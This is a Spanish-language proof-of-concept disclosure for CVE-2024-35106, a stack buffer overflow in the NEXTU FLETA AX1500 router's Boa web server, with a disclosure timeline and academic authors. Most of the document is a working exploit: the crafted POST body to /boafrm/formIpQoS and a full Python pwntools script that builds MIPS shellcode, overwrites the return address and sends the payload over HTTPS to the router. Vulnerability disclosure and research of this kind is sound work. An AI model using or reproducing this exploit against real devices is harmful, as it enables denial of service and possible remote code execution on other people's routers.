
Exploit de prueba de concepto para CVE-2024-35106, un desbordamiento de búfer de pila en el router Wi-Fi 6 NEXTU FLETA AX1500. Demuestra denegación de servicio y posible ejecución remota de código mediante una solicitud POST manipulada al manejador IP QoS del servidor web Boa.
Este documento describe cómo se llevó a cabo el exploit en el router WiFI EZNET FLETA a través de la vulnerabilidad CVE-2024-35106.
[ID de CVE] CVE-2024-35106
[Fabricante del Producto] NEXTU
[Producto] FLATA AX1500 Wifi6 Router
[Versión] 1.0.3
[Tipo de Vulnerabilidad] Desbordamiento de búfer
El router opera en una arquitectura MIPS basada en un chipset Realtek y little-endian.
La versión del firmware del router es v1.0.3.
Este router utiliza el servidor web embebido Boa, cuya última versión fue en 2005. Sin embargo, este router utiliza el servidor web Boa para el servicio de la página web de administración que controla el firmware del router.
Las condiciones necesarias para desencadenar la vulnerabilidad son las siguientes:
Se produce un desbordamiento de búfer en la pila debido a la falta de verificación de la longitud en bytes del nombre de la regla IP QoS al configurar QoS para una IP interna en la página de administración web del router.
Cuando los parámetros de la solicitud de configuración IP QoS se pasan a la función manejadora formIpQoS de Boa, el manejador extrae la longitud en bytes del parámetro "entry_name" y la copia en la variable acStack_1c0 usando la función strcpy().

En esa función, la función strcpy se utiliza para copiar el búfer sin verificar el tamaño del búfer.

Debido a que la variable acStack_1c0, que almacena el binario del parámetro entry_name copiado, tiene un tamaño fijo de 16 bytes, el uso de la función strcpy() —que no limita el tamaño de los datos que se copian— resultará en un desbordamiento de búfer.


La solicitud POST y los parámetros del vector de ataque son los siguientes.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
Un atacante prepara un binario que incluye dos cosas: código binario arbitrario y una dirección arbitraria, y lo coloca en el parámetro entry_name de la solicitud POST.
Por lo tanto, la dirección RET, que se encuentra en la dirección de memoria de la pila del manejador formIpQos, se sobrescribe con una dirección arbitraria debido al desbordamiento de la pila.
(0x7f8548cc es la dirección RET de la pila del manejador formIpQoS)
Sin embargo, dado que la función manejadora debe completar su ejecución normalmente, se deben guardar previamente 10 conjuntos de reglas IP QoS.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
Tenga en cuenta que, al ejecutar este POC para la vulnerabilidad, definitivamente causará un DOS. Sin embargo, puede que no ocurra una ejecución remota de código arbitrario.
Esta vulnerabilidad puede ser explotada para ataques DOS y posibles ataques RCE.
2024-05-16: Número CVE asignado - CVE-2024-35106
2024-05-16: Vulnerabilidades reportadas a los fabricantes
2024-06-05: Respuesta de los fabricantes sobre las vulnerabilidades
Ku In Hoe
Profesor Asistente Seonghoon Jeong (Universidad Femenina de Sookmyung)